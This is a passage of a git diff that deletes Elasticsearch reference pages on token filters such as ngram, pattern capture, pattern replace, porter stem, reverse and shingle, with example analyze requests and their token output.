-      "position" : 0
-    },
-    {
-      "token" : "ck",
-      "start_offset" : 0,
-      "end_offset" : 5,
-      "type" : "<ALPHANUM>",
-      "position" : 0
-    },
-    {
-      "token" : "k",
-      "start_offset" : 0,
-      "end_offset" : 5,
-      "type" : "<ALPHANUM>",
-      "position" : 0
-    },
-    {
-      "token" : "f",
-      "start_offset" : 6,
-      "end_offset" : 9,
-      "type" : "<ALPHANUM>",
-      "position" : 1
-    },
-    {
-      "token" : "fo",
-      "start_offset" : 6,
-      "end_offset" : 9,
-      "type" : "<ALPHANUM>",
-      "position" : 1
-    },
-    {
-      "token" : "o",
-      "start_offset" : 6,
-      "end_offset" : 9,
-      "type" : "<ALPHANUM>",
-      "position" : 1
-    },
-    {
-      "token" : "ox",
-      "start_offset" : 6,
-      "end_offset" : 9,
-      "type" : "<ALPHANUM>",
-      "position" : 1
-    },
-    {
-      "token" : "x",
-      "start_offset" : 6,
-      "end_offset" : 9,
-      "type" : "<ALPHANUM>",
-      "position" : 1
-    }
-  ]
-}
---------------------------------------------------
-/////////////////////
-
-[[analysis-ngram-tokenfilter-analyzer-ex]]
-==== Add to an analyzer
-
-The following <<indices-create-index,create index API>> request uses the `ngram`
-filter to configure a new <<analysis-custom-analyzer,custom analyzer>>.
-
-[source,console]
---------------------------------------------------
-PUT ngram_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "standard_ngram": {
-          "tokenizer": "standard",
-          "filter": [ "ngram" ]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[[analysis-ngram-tokenfilter-configure-parms]]
-==== Configurable parameters
-
-`max_gram`::
-(Optional, integer)
-Maximum length of characters in a gram. Defaults to `2`.
-
-`min_gram`::
-(Optional, integer)
-Minimum length of characters in a gram. Defaults to `1`.
-
-`preserve_original`::
-(Optional, Boolean)
-Emits original token when set to `true`. Defaults to `false`.
-
-You can use the <<index-max-ngram-diff,`index.max_ngram_diff`>> index-level
-setting to control the maximum allowed difference between the `max_gram` and
-`min_gram` values.
-
-[[analysis-ngram-tokenfilter-customize]]
-==== Customize
-
-To customize the `ngram` filter, duplicate it to create the basis for a new
-custom token filter. You can modify the filter using its configurable
-parameters.
-
-For example, the following request creates a custom `ngram` filter that forms
-n-grams between 3-5 characters. The request also increases the
-`index.max_ngram_diff` setting to `2`.
-
-[source,console]
---------------------------------------------------
-PUT ngram_custom_example
-{
-  "settings": {
-    "index": {
-      "max_ngram_diff": 2
-    },
-    "analysis": {
-      "analyzer": {
-        "default": {
-          "tokenizer": "whitespace",
-          "filter": [ "3_5_grams" ]
-        }
-      },
-      "filter": {
-        "3_5_grams": {
-          "type": "ngram",
-          "min_gram": 3,
-          "max_gram": 5
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/analysis/tokenfilters/normalization-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/normalization-tokenfilter.asciidoc
deleted file mode 100644
index b47420baf9d..00000000000
--- a/docs/reference/analysis/tokenfilters/normalization-tokenfilter.asciidoc
+++ /dev/null
@@ -1,43 +0,0 @@
-[[analysis-normalization-tokenfilter]]
-=== Normalization token filters
-++++
-<titleabbrev>Normalization</titleabbrev>
-++++
-
-There are several token filters available which try to normalize special
-characters of a certain language.
-
-[horizontal]
-Arabic::
-
-{lucene-analysis-docs}/ar/ArabicNormalizer.html[`arabic_normalization`]
-
-German::
-
-{lucene-analysis-docs}/de/GermanNormalizationFilter.html[`german_normalization`]
-
-Hindi::
-
-{lucene-analysis-docs}/hi/HindiNormalizer.html[`hindi_normalization`]
-
-Indic::
-
-{lucene-analysis-docs}/in/IndicNormalizer.html[`indic_normalization`]
-
-Kurdish (Sorani)::
-
-{lucene-analysis-docs}/ckb/SoraniNormalizer.html[`sorani_normalization`]
-
-Persian::
-
-{lucene-analysis-docs}/fa/PersianNormalizer.html[`persian_normalization`]
-
-Scandinavian::
-
-{lucene-analysis-docs}/miscellaneous/ScandinavianNormalizationFilter.html[`scandinavian_normalization`],
-{lucene-analysis-docs}/miscellaneous/ScandinavianFoldingFilter.html[`scandinavian_folding`]
-
-Serbian::
-
-{lucene-analysis-docs}/sr/SerbianNormalizationFilter.html[`serbian_normalization`]
-
diff --git a/docs/reference/analysis/tokenfilters/pattern-capture-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/pattern-capture-tokenfilter.asciidoc
deleted file mode 100644
index b57c31a64e3..00000000000
--- a/docs/reference/analysis/tokenfilters/pattern-capture-tokenfilter.asciidoc
+++ /dev/null
@@ -1,152 +0,0 @@
-[[analysis-pattern-capture-tokenfilter]]
-=== Pattern capture token filter
-++++
-<titleabbrev>Pattern capture</titleabbrev>
-++++
-
-The `pattern_capture` token filter, unlike the `pattern` tokenizer,
-emits a token for every capture group in the regular expression.
-Patterns are not anchored to the beginning and end of the string, so
-each pattern can match multiple times, and matches are allowed to
-overlap.
-
-[WARNING]
-.Beware of Pathological Regular Expressions
-========================================
-
-The pattern capture token filter uses
-https://docs.oracle.com/javase/8/docs/api/java/util/regex/Pattern.html[Java Regular Expressions].
-
-A badly written regular expression could run very slowly or even throw a
-StackOverflowError and cause the node it is running on to exit suddenly.
-
-Read more about https://www.regular-expressions.info/catastrophic.html[pathological regular expressions and how to avoid them].
-
-========================================
-
-For instance a pattern like :
-
-[source,text]
---------------------------------------------------
-"(([a-z]+)(\d*))"
---------------------------------------------------
-
-when matched against:
-
-[source,text]
---------------------------------------------------
-"abc123def456"
---------------------------------------------------
-
-would produce the tokens: [ `abc123`, `abc`, `123`, `def456`, `def`,
-`456` ]
-
-If `preserve_original` is set to `true` (the default) then it would also
-emit the original token: `abc123def456`.
-
-This is particularly useful for indexing text like camel-case code, eg
-`stripHTML` where a user may search for `"strip html"` or `"striphtml"`:
-
-[source,console]
---------------------------------------------------
-PUT test
-{
-   "settings" : {
-      "analysis" : {
-         "filter" : {
-            "code" : {
-               "type" : "pattern_capture",
-               "preserve_original" : true,
-               "patterns" : [
-                  "(\\p{Ll}+|\\p{Lu}\\p{Ll}+|\\p{Lu}+)",
-                  "(\\d+)"
-               ]
-            }
-         },
-         "analyzer" : {
-            "code" : {
-               "tokenizer" : "pattern",
-               "filter" : [ "code", "lowercase" ]
-            }
-         }
-      }
-   }
-}
---------------------------------------------------
-
-When used to analyze the text
-
-[source,java]
---------------------------------------------------
-import static org.apache.commons.lang.StringEscapeUtils.escapeHtml
---------------------------------------------------
-
-this emits the tokens: [ `import`, `static`, `org`, `apache`, `commons`,
-`lang`, `stringescapeutils`, `string`, `escape`, `utils`, `escapehtml`,
-`escape`, `html` ]
-
-Another example is analyzing email addresses:
-
-[source,console]
---------------------------------------------------
-PUT test
-{
-   "settings" : {
-      "analysis" : {
-         "filter" : {
-            "email" : {
-               "type" : "pattern_capture",
-               "preserve_original" : true,
-               "patterns" : [
-                  "([^@]+)",
-                  "(\\p{L}+)",
-                  "(\\d+)",
-                  "@(.+)"
-               ]
-            }
-         },
-         "analyzer" : {
-            "email" : {
-               "tokenizer" : "uax_url_email",
-               "filter" : [ "email", "lowercase",  "unique" ]
-            }
-         }
-      }
-   }
-}
---------------------------------------------------
-
-When the above analyzer is used on an email address like:
-
-[source,text]
---------------------------------------------------
-john-smith_123@foo-bar.com
---------------------------------------------------
-
-it would produce the following tokens:
-
-    john-smith_123@foo-bar.com, john-smith_123,
-    john, smith, 123, foo-bar.com, foo, bar, com
-
-Multiple patterns are required to allow overlapping captures, but also
-means that patterns are less dense and easier to understand.
-
-*Note:* All tokens are emitted in the same position, and with the same
-character offsets. This means, for example, that a `match` query for
-`john-smith_123@foo-bar.com` that uses this analyzer will return documents
-containing any of these tokens, even when using the `and` operator.
-Also, when combined with highlighting, the whole original token will 
-be highlighted, not just the matching subset. For instance, querying 
-the above email address for `"smith"` would highlight:
-
-[source,html]
---------------------------------------------------
-  <em>john-smith_123@foo-bar.com</em>
---------------------------------------------------
-
-not:
-
-[source,html]
---------------------------------------------------
-  john-<em>smith</em>_123@foo-bar.com
---------------------------------------------------
diff --git a/docs/reference/analysis/tokenfilters/pattern_replace-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/pattern_replace-tokenfilter.asciidoc
deleted file mode 100644
index 37b96f23c8a..00000000000
--- a/docs/reference/analysis/tokenfilters/pattern_replace-tokenfilter.asciidoc
+++ /dev/null
@@ -1,157 +0,0 @@
-[[analysis-pattern_replace-tokenfilter]]
-=== Pattern replace token filter
-++++
-<titleabbrev>Pattern replace</titleabbrev>
-++++
-
-Uses a regular expression to match and replace token substrings.
-
-The `pattern_replace` filter uses
-https://docs.oracle.com/javase/8/docs/api/java/util/regex/Pattern.html[Java's
-regular expression syntax]. By default, the filter replaces matching substrings
-with an empty substring (`""`). Replacement substrings can use Java's
-https://docs.oracle.com/javase/8/docs/api/java/util/regex/Matcher.html#appendReplacement-java.lang.StringBuffer-java.lang.String-[`$g`
-syntax] to reference capture groups from the original token text.
-
-[WARNING]
-====
-A poorly-written regular expression may run slowly or return a
-StackOverflowError, causing the node running the expression to exit suddenly.
-
-Read more about
-https://www.regular-expressions.info/catastrophic.html[pathological regular
-expressions and how to avoid them].
-====
-
-This filter uses Lucene's
-{lucene-analysis-docs}/pattern/PatternReplaceFilter.html[PatternReplaceFilter].
-
-[[analysis-pattern-replace-tokenfilter-analyze-ex]]
-==== Example
-
-The following <<indices-analyze,analyze API>> request uses the `pattern_replace`
-filter to prepend `watch` to the substring `dog` in `foxes jump lazy dogs`.
-
-[source,console]
-----
-GET /_analyze
-{
-  "tokenizer": "whitespace",
-  "filter": [
-    {
-      "type": "pattern_replace",
-      "pattern": "(dog)",
-      "replacement": "watch$1"
-    }
-  ],
-  "text": "foxes jump lazy dogs"
-}
-----
-
-The filter produces the following tokens.
-
-[source,text]
-----
-[ foxes, jump, lazy, watchdogs ]
-----
-
-////
-[source,console-result]
-----
-{
-  "tokens": [
-    {
-      "token": "foxes",
-      "start_offset": 0,
-      "end_offset": 5,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "jump",
-      "start_offset": 6,
-      "end_offset": 10,
-      "type": "word",
-      "position": 1
-    },
-    {
-      "token": "lazy",
-      "start_offset": 11,
-      "end_offset": 15,
-      "type": "word",
-      "position": 2
-    },
-    {
-      "token": "watchdogs",
-      "start_offset": 16,
-      "end_offset": 20,
-      "type": "word",
-      "position": 3
-    }
-  ]
-}
-----
-////
-
-[[analysis-pattern-replace-tokenfilter-configure-parms]]
-==== Configurable parameters
-
-`all`::
-(Optional, Boolean)
-If `true`, all substrings matching the `pattern` parameter's regular expression
-are replaced. If `false`, the filter replaces only the first matching substring
-in each token. Defaults to `true`.
-
-`pattern`::
-(Required, string)
-Regular expression, written in
-https://docs.oracle.com/javase/8/docs/api/java/util/regex/Pattern.html[Java's
-regular expression syntax]. The filter replaces token substrings matching this
-pattern with the substring in the `replacement` parameter.
-
-`replacement`::
-(Optional, string)
-Replacement substring. Defaults to an empty substring (`""`).
-
-[[analysis-pattern-replace-tokenfilter-customize]]
-==== Customize and add to an analyzer
-
-To customize the `pattern_replace` filter, duplicate it to create the basis
-for a new custom token filter. You can modify the filter using its configurable
-parameters.
-
-The following <<indices-create-index,create index API>> request
-configures a new <<analysis-custom-analyzer,custom analyzer>> using a custom
-`pattern_replace` filter, `my_pattern_replace_filter`.
-
-The `my_pattern_replace_filter` filter uses the regular expression `[£|€]` to
-match and remove the currency symbols `£` and `€`. The filter's `all`
-parameter is `false`, meaning only the first matching symbol in each token is
-removed.
-
-[source,console]
-----
-PUT /my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_analyzer": {
-          "tokenizer": "keyword",
-          "filter": [
-            "my_pattern_replace_filter"
-          ]
-        }
-      },
-      "filter": {
-        "my_pattern_replace_filter": {
-          "type": "pattern_replace",
-          "pattern": "[£|€]",
-          "replacement": "",
-          "all": false
-        }
-      }
-    }
-  }
-}
-----
diff --git a/docs/reference/analysis/tokenfilters/phonetic-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/phonetic-tokenfilter.asciidoc
deleted file mode 100644
index cceac39e691..00000000000
--- a/docs/reference/analysis/tokenfilters/phonetic-tokenfilter.asciidoc
+++ /dev/null
@@ -1,7 +0,0 @@
-[[analysis-phonetic-tokenfilter]]
-=== Phonetic token filter
-++++
-<titleabbrev>Phonetic</titleabbrev>
-++++
-
-The `phonetic` token filter is provided as the {plugins}/analysis-phonetic.html[`analysis-phonetic`] plugin.
diff --git a/docs/reference/analysis/tokenfilters/porterstem-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/porterstem-tokenfilter.asciidoc
deleted file mode 100644
index 6c228ceb045..00000000000
--- a/docs/reference/analysis/tokenfilters/porterstem-tokenfilter.asciidoc
+++ /dev/null
@@ -1,114 +0,0 @@
-[[analysis-porterstem-tokenfilter]]
-=== Porter stem token filter
-++++
-<titleabbrev>Porter stem</titleabbrev>
-++++
-
-Provides <<algorithmic-stemmers,algorithmic stemming>> for the English language,
-based on the https://snowballstem.org/algorithms/porter/stemmer.html[Porter
-stemming algorithm].
-
-This filter tends to stem more aggressively than other English
-stemmer filters, such as the <<analysis-kstem-tokenfilter,`kstem`>> filter.
-
-The `porter_stem` filter is equivalent to the
-<<analysis-stemmer-tokenfilter,`stemmer`>> filter's
-<<analysis-stemmer-tokenfilter-language-parm,`english`>> variant.
-
-The `porter_stem` filter uses Lucene's
-{lucene-analysis-docs}/en/PorterStemFilter.html[PorterStemFilter].
-
-[[analysis-porterstem-tokenfilter-analyze-ex]]
-==== Example
-
-The following analyze API request uses the `porter_stem` filter to stem
-`the foxes jumping quickly` to `the fox jump quickli`:
-
-[source,console]
-----
-GET /_analyze
-{
-  "tokenizer": "standard",
-  "filter": [ "porter_stem" ],
-  "text": "the foxes jumping quickly"
-}
-----
-
-The filter produces the following tokens:
-
-[source,text]
-----
-[ the, fox, jump, quickli ]
-----
-
-////
-[source,console-result]
-----
-{
-  "tokens": [
-    {
-      "token": "the",
-      "start_offset": 0,
-      "end_offset": 3,
-      "type": "<ALPHANUM>",
-      "position": 0
-    },
-    {
-      "token": "fox",
-      "start_offset": 4,
-      "end_offset": 9,
-      "type": "<ALPHANUM>",
-      "position": 1
-    },
-    {
-      "token": "jump",
-      "start_offset": 10,
-      "end_offset": 17,
-      "type": "<ALPHANUM>",
-      "position": 2
-    },
-    {
-      "token": "quickli",
-      "start_offset": 18,
-      "end_offset": 25,
-      "type": "<ALPHANUM>",
-      "position": 3
-    }
-  ]
-}
-----
-////
-
-[[analysis-porterstem-tokenfilter-analyzer-ex]]
-==== Add to an analyzer
-
-The following <<indices-create-index,create index API>> request uses the
-`porter_stem` filter to configure a new <<analysis-custom-analyzer,custom
-analyzer>>.
-
-[IMPORTANT]
-====
-To work properly, the `porter_stem` filter requires lowercase tokens. To ensure
-tokens are lowercased, add the <<analysis-lowercase-tokenfilter,`lowercase`>>
-filter before the `porter_stem` filter in the analyzer configuration.
-====
-
-[source,console]
-----
-PUT /my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_analyzer": {
-          "tokenizer": "whitespace",
-          "filter": [
-            "lowercase",
-            "porter_stem"
-          ]
-        }
-      }
-    }
-  }
-}
-----
diff --git a/docs/reference/analysis/tokenfilters/predicate-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/predicate-tokenfilter.asciidoc
deleted file mode 100644
index b90350e2bbd..00000000000
--- a/docs/reference/analysis/tokenfilters/predicate-tokenfilter.asciidoc
+++ /dev/null
@@ -1,128 +0,0 @@
-[[analysis-predicatefilter-tokenfilter]]
-=== Predicate script token filter
-++++
-<titleabbrev>Predicate script</titleabbrev>
-++++
-
-Removes tokens that don't match a provided predicate script. The filter supports
-inline {painless}/index.html[Painless] scripts only. Scripts are evaluated in
-the {painless}/painless-analysis-predicate-context.html[analysis predicate
-context].
-
-[[analysis-predicatefilter-tokenfilter-analyze-ex]]
-==== Example
-
-The following <<indices-analyze,analyze API>> request uses the
-`predicate_token_filter` filter to only output tokens longer than three
-characters from `the fox jumps the lazy dog`.
-
-[source,console]
-----
-GET /_analyze
-{
-  "tokenizer": "whitespace",
-  "filter": [
-    {
-      "type": "predicate_token_filter",
-      "script": {
-        "source": """
-          token.term.length() > 3
-        """
-      }
-    }
-  ],
-  "text": "the fox jumps the lazy dog"
-}
-----
-
-The filter produces the following tokens.
-
-[source,text]
-----
-[ jumps, lazy ]
-----
-
-The API response contains the position and offsets of each output token. Note
-the `predicate_token_filter` filter does not change the tokens' original
-positions or offets.
-
-.*Response*
-[%collapsible]
-====
-[source,console-result]
-----
-{
-  "tokens" : [
-    {
-      "token" : "jumps",
-      "start_offset" : 8,
-      "end_offset" : 13,
-      "type" : "word",
-      "position" : 2
-    },
-    {
-      "token" : "lazy",
-      "start_offset" : 18,
-      "end_offset" : 22,
-      "type" : "word",
-      "position" : 4
-    }
-  ]
-}
-----
-====
-
-[[analysis-predicatefilter-tokenfilter-configure-parms]]
-==== Configurable parameters
-
-`script`::
-(Required, <<modules-scripting-using,script object>>)
-Script containing a condition used to filter incoming tokens. Only tokens that
-match this script are included in the output.
-+
-This parameter supports inline {painless}/index.html[Painless] scripts only. The
-script is evaluated in the
-{painless}/painless-analysis-predicate-context.html[analysis predicate context].
-
-[[analysis-predicatefilter-tokenfilter-customize]]
-==== Customize and add to an analyzer
-
-To customize the `predicate_token_filter` filter, duplicate it to create the basis
-for a new custom token filter. You can modify the filter using its configurable
-parameters.
-
-The following <<indices-create-index,create index API>> request
-configures a new <<analysis-custom-analyzer,custom analyzer>> using a custom
-`predicate_token_filter` filter, `my_script_filter`.
-
-The `my_script_filter` filter removes tokens with of any type other than
-`ALPHANUM`.
-
-[source,console]
-----
-PUT /my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_analyzer": {
-          "tokenizer": "standard",
-          "filter": [
-            "my_script_filter"
-          ]
-        }
-      },
-      "filter": {
-        "my_script_filter": {
-          "type": "predicate_token_filter",
-          "script": {
-            "source": """
-              token.type.contains("ALPHANUM")
-            """
-          }
-        }
-      }
-    }
-  }
-}
-----
diff --git a/docs/reference/analysis/tokenfilters/remove-duplicates-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/remove-duplicates-tokenfilter.asciidoc
deleted file mode 100644
index 52f2146f1da..00000000000
--- a/docs/reference/analysis/tokenfilters/remove-duplicates-tokenfilter.asciidoc
+++ /dev/null
@@ -1,154 +0,0 @@
-[[analysis-remove-duplicates-tokenfilter]]
-=== Remove duplicates token filter
-++++
-<titleabbrev>Remove duplicates</titleabbrev>
-++++
-
-Removes duplicate tokens in the same position.
-
-The `remove_duplicates` filter uses Lucene's
-{lucene-analysis-docs}/miscellaneous/RemoveDuplicatesTokenFilter.html[RemoveDuplicatesTokenFilter].
-
-[[analysis-remove-duplicates-tokenfilter-analyze-ex]]
-==== Example
-
-To see how the `remove_duplicates` filter works, you first need to produce a
-token stream containing duplicate tokens in the same position.
-
-The following <<indices-analyze,analyze API>> request uses the
-<<analysis-keyword-repeat-tokenfilter,`keyword_repeat`>> and
-<<analysis-stemmer-tokenfilter,`stemmer`>> filters to create stemmed and
-unstemmed tokens for `jumping dog`.
-
-[source,console]
-----
-GET _analyze
-{
-  "tokenizer": "whitespace",
-  "filter": [
-    "keyword_repeat",
-    "stemmer"
-  ],
-  "text": "jumping dog"
-}
-----
-
-The API returns the following response. Note that the `dog` token in position
-`1` is duplicated.
-
-[source,console-result]
-----
-{
-  "tokens": [
-    {
-      "token": "jumping",
-      "start_offset": 0,
-      "end_offset": 7,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "jump",
-      "start_offset": 0,
-      "end_offset": 7,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "dog",
-      "start_offset": 8,
-      "end_offset": 11,
-      "type": "word",
-      "position": 1
-    },
-    {
-      "token": "dog",
-      "start_offset": 8,
-      "end_offset": 11,
-      "type": "word",
-      "position": 1
-    }
-  ]
-}
-----
-
-To remove one of the duplicate `dog` tokens, add the `remove_duplicates` filter
-to the previous analyze API request.
-
-[source,console]
-----
-GET _analyze
-{
-  "tokenizer": "whitespace",
-  "filter": [
-    "keyword_repeat",
-    "stemmer",
-    "remove_duplicates"
-  ],
-  "text": "jumping dog"
-}
-----
-
-The API returns the following response. There is now only one `dog` token in
-position `1`.
-
-[source,console-result]
-----
-{
-  "tokens": [
-    {
-      "token": "jumping",
-      "start_offset": 0,
-      "end_offset": 7,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "jump",
-      "start_offset": 0,
-      "end_offset": 7,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "dog",
-      "start_offset": 8,
-      "end_offset": 11,
-      "type": "word",
-      "position": 1
-    }
-  ]
-}
-----
-
-[[analysis-remove-duplicates-tokenfilter-analyzer-ex]]
-==== Add to an analyzer
-
-The following <<indices-create-index,create index API>> request uses the
-`remove_duplicates` filter to configure a new <<analysis-custom-analyzer,custom
-analyzer>>.
-
-This custom analyzer uses the `keyword_repeat` and `stemmer` filters to create a
-stemmed and unstemmed version of each token in a stream. The `remove_duplicates`
-filter then removes any duplicate tokens in the same position.
-
-[source,console]
-----
-PUT my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_custom_analyzer": {
-          "tokenizer": "standard",
-          "filter": [
-            "keyword_repeat",
-            "stemmer",
-            "remove_duplicates"
-          ]
-        }
-      }
-    }
-  }
-}
-----
\ No newline at end of file
diff --git a/docs/reference/analysis/tokenfilters/reverse-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/reverse-tokenfilter.asciidoc
deleted file mode 100644
index d66e143b4c4..00000000000
--- a/docs/reference/analysis/tokenfilters/reverse-tokenfilter.asciidoc
+++ /dev/null
@@ -1,93 +0,0 @@
-[[analysis-reverse-tokenfilter]]
-=== Reverse token filter
-++++
-<titleabbrev>Reverse</titleabbrev>
-++++
-
-Reverses each token in a stream. For example, you can use the `reverse` filter
-to change `cat` to `tac`.
-
-Reversed tokens are useful for suffix-based searches,
-such as finding words that end in `-ion` or searching file names by their
-extension.
-
-This filter uses Lucene's
-{lucene-analysis-docs}/reverse/ReverseStringFilter.html[ReverseStringFilter].
-
-[[analysis-reverse-tokenfilter-analyze-ex]]
-==== Example
-
-The following <<indices-analyze,analyze API>> request uses the `reverse`
-filter to reverse each token in `quick fox jumps`:
-
-[source,console]
---------------------------------------------------
-GET _analyze
-{
-  "tokenizer" : "standard",
-  "filter" : ["reverse"],
-  "text" : "quick fox jumps"
-}
---------------------------------------------------
-
-The filter produces the following tokens:
-
-[source,text]
---------------------------------------------------
-[ kciuq, xof, spmuj ]
---------------------------------------------------
-
-/////////////////////
-[source,console-result]
---------------------------------------------------
-{
-  "tokens" : [
-    {
-      "token" : "kciuq",
-      "start_offset" : 0,
-      "end_offset" : 5,
-      "type" : "<ALPHANUM>",
-      "position" : 0
-    },
-    {
-      "token" : "xof",
-      "start_offset" : 6,
-      "end_offset" : 9,
-      "type" : "<ALPHANUM>",
-      "position" : 1
-    },
-    {
-      "token" : "spmuj",
-      "start_offset" : 10,
-      "end_offset" : 15,
-      "type" : "<ALPHANUM>",
-      "position" : 2
-    }
-  ]
-}
---------------------------------------------------
-/////////////////////
-
-[[analysis-reverse-tokenfilter-analyzer-ex]]
-==== Add to an analyzer
-
-The following <<indices-create-index,create index API>> request uses the
-`reverse` filter to configure a new
-<<analysis-custom-analyzer,custom analyzer>>.
-
-[source,console]
---------------------------------------------------
-PUT reverse_example
-{
-  "settings" : {
-    "analysis" : {
-      "analyzer" : {
-        "whitespace_reverse" : {
-          "tokenizer" : "whitespace",
-          "filter" : ["reverse"]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
\ No newline at end of file
diff --git a/docs/reference/analysis/tokenfilters/shingle-tokenfilter.asciidoc b/docs/reference/analysis/tokenfilters/shingle-tokenfilter.asciidoc
deleted file mode 100644
index 0598fb32971..00000000000
--- a/docs/reference/analysis/tokenfilters/shingle-tokenfilter.asciidoc
+++ /dev/null
@@ -1,510 +0,0 @@
-[[analysis-shingle-tokenfilter]]
-=== Shingle token filter
-++++
-<titleabbrev>Shingle</titleabbrev>
-++++
-
-Add shingles, or word {wikipedia}/N-gram[n-grams], to a token
-stream by concatenating adjacent tokens. By default, the `shingle` token filter
-outputs two-word shingles and unigrams.
-
-For example, many tokenizers convert `the lazy dog` to `[ the, lazy, dog ]`. You
-can use the `shingle` filter to add two-word shingles to this stream:
-`[ the, the lazy, lazy, lazy dog, dog ]`.
-
-TIP: Shingles are often used to help speed up phrase queries, such as
-<<query-dsl-match-query-phrase,`match_phrase`>>. Rather than creating shingles
-using the `shingles` filter, we recommend you use the
-<<index-phrases,`index-phrases`>> mapping parameter on the appropriate
-<<text,text>> field instead.
-
-This filter uses Lucene's
-{lucene-analysis-docs}/shingle/ShingleFilter.html[ShingleFilter].
-
-[[analysis-shingle-tokenfilter-analyze-ex]]
-==== Example
-
-The following <<indices-analyze,analyze API>> request uses the `shingle`
-filter to add two-word shingles to the token stream for `quick brown fox jumps`:
-
-[source,console]
-----
-GET /_analyze
-{
-  "tokenizer": "whitespace",
-  "filter": [ "shingle" ],
-  "text": "quick brown fox jumps"
-}
-----
-
-The filter produces the following tokens:
-
-[source,text]
-----
-[ quick, quick brown, brown, brown fox, fox, fox jumps, jumps ]
-----
-
-////
-[source,console-result]
-----
-{
-  "tokens": [
-    {
-      "token": "quick",
-      "start_offset": 0,
-      "end_offset": 5,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "quick brown",
-      "start_offset": 0,
-      "end_offset": 11,
-      "type": "shingle",
-      "position": 0,
-      "positionLength": 2
-    },
-    {
-      "token": "brown",
-      "start_offset": 6,
-      "end_offset": 11,
-      "type": "word",
-      "position": 1
-    },
-    {
-      "token": "brown fox",
-      "start_offset": 6,
-      "end_offset": 15,
-      "type": "shingle",
-      "position": 1,
-      "positionLength": 2
-    },
-    {
-      "token": "fox",
-      "start_offset": 12,
-      "end_offset": 15,
-      "type": "word",
-      "position": 2
-    },
-    {
-      "token": "fox jumps",
-      "start_offset": 12,
-      "end_offset": 21,
-      "type": "shingle",
-      "position": 2,
-      "positionLength": 2
-    },
-    {
-      "token": "jumps",
-      "start_offset": 16,
-      "end_offset": 21,
-      "type": "word",
-      "position": 3
-    }
-  ]
-}
-----
-////
-
-To produce shingles of 2-3 words, add the following arguments to the analyze API
-request:
-
-* `min_shingle_size`: `2`
-* `max_shingle_size`: `3`
-
-[source,console]
-----
-GET /_analyze
-{
-  "tokenizer": "whitespace",
-  "filter": [
-    {
-      "type": "shingle",
-      "min_shingle_size": 2,
-      "max_shingle_size": 3
-    }
-  ],
-  "text": "quick brown fox jumps"
-}
-----
-
-The filter produces the following tokens:
-
-[source,text]
-----
-[ quick, quick brown, quick brown fox, brown, brown fox, brown fox jumps, fox, fox jumps, jumps ]
-----
-
-////
-[source, console-result]
-----
-{
-  "tokens": [
-    {
-      "token": "quick",
-      "start_offset": 0,
-      "end_offset": 5,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "quick brown",
-      "start_offset": 0,
-      "end_offset": 11,
-      "type": "shingle",
-      "position": 0,
-      "positionLength": 2
-    },
-    {
-      "token": "quick brown fox",
-      "start_offset": 0,
-      "end_offset": 15,
-      "type": "shingle",
-      "position": 0,
-      "positionLength": 3
-    },
-    {
-      "token": "brown",
-      "start_offset": 6,
-      "end_offset": 11,
-      "type": "word",
-      "position": 1
-    },
-    {
-      "token": "brown fox",
-      "start_offset": 6,
-      "end_offset": 15,
-      "type": "shingle",
-      "position": 1,
-      "positionLength": 2
-    },
-    {
-      "token": "brown fox jumps",
-      "start_offset": 6,
-      "end_offset": 21,
-      "type": "shingle",
-      "position": 1,
-      "positionLength": 3
-    },
-    {
-      "token": "fox",
-      "start_offset": 12,
-      "end_offset": 15,
-      "type": "word",
-      "position": 2
-    },
-    {
-      "token": "fox jumps",
-      "start_offset": 12,
-      "end_offset": 21,
-      "type": "shingle",
-      "position": 2,
-      "positionLength": 2
-    },
-    {
-      "token": "jumps",
-      "start_offset": 16,
-      "end_offset": 21,
-      "type": "word",
-      "position": 3
-    }
-  ]
-}
-----
-////
-
-To only include shingles in the output, add an `output_unigrams` argument of
-`false` to the request.
-
-[source,console]
-----
-GET /_analyze
-{
-  "tokenizer": "whitespace",
-  "filter": [
-    {
-      "type": "shingle",
-      "min_shingle_size": 2,
-      "max_shingle_size": 3,
-      "output_unigrams": false
-    }
-  ],
-  "text": "quick brown fox jumps"
-}
-----
-
-The filter produces the following tokens:
-
-[source,text]
-----
-[ quick brown, quick brown fox, brown fox, brown fox jumps, fox jumps ]
-----
-
-////
-[source, console-result]
-----
-{
-  "tokens": [
-    {
-      "token": "quick brown",
-      "start_offset": 0,
-      "end_offset": 11,
-      "type": "shingle",
-      "position": 0
-    },
-    {
-      "token": "quick brown fox",
-      "start_offset": 0,
-      "end_offset": 15,
-      "type": "shingle",
-      "position": 0,
-      "positionLength": 2
-    },
-    {
-      "token": "brown fox",
-      "start_offset": 6,
-      "end_offset": 15,
-      "type": "shingle",
-      "position": 1
-    },
-    {
-      "token": "brown fox jumps",
-      "start_offset": 6,
-      "end_offset": 21,
-      "type": "shingle",
-      "position": 1,
-      "positionLength": 2
-    },
-    {
-      "token": "fox jumps",
-      "start_offset": 12,
-      "end_offset": 21,
-      "type": "shingle",
-      "position": 2
-    }
-  ]
-}
-----
-////
-
-[[analysis-shingle-tokenfilter-analyzer-ex]]
-==== Add to an analyzer
-
-The following <<indices-create-index,create index API>> request uses the
-`shingle` filter to configure a new <<analysis-custom-analyzer,custom
-analyzer>>.
-
-[source,console]
-----
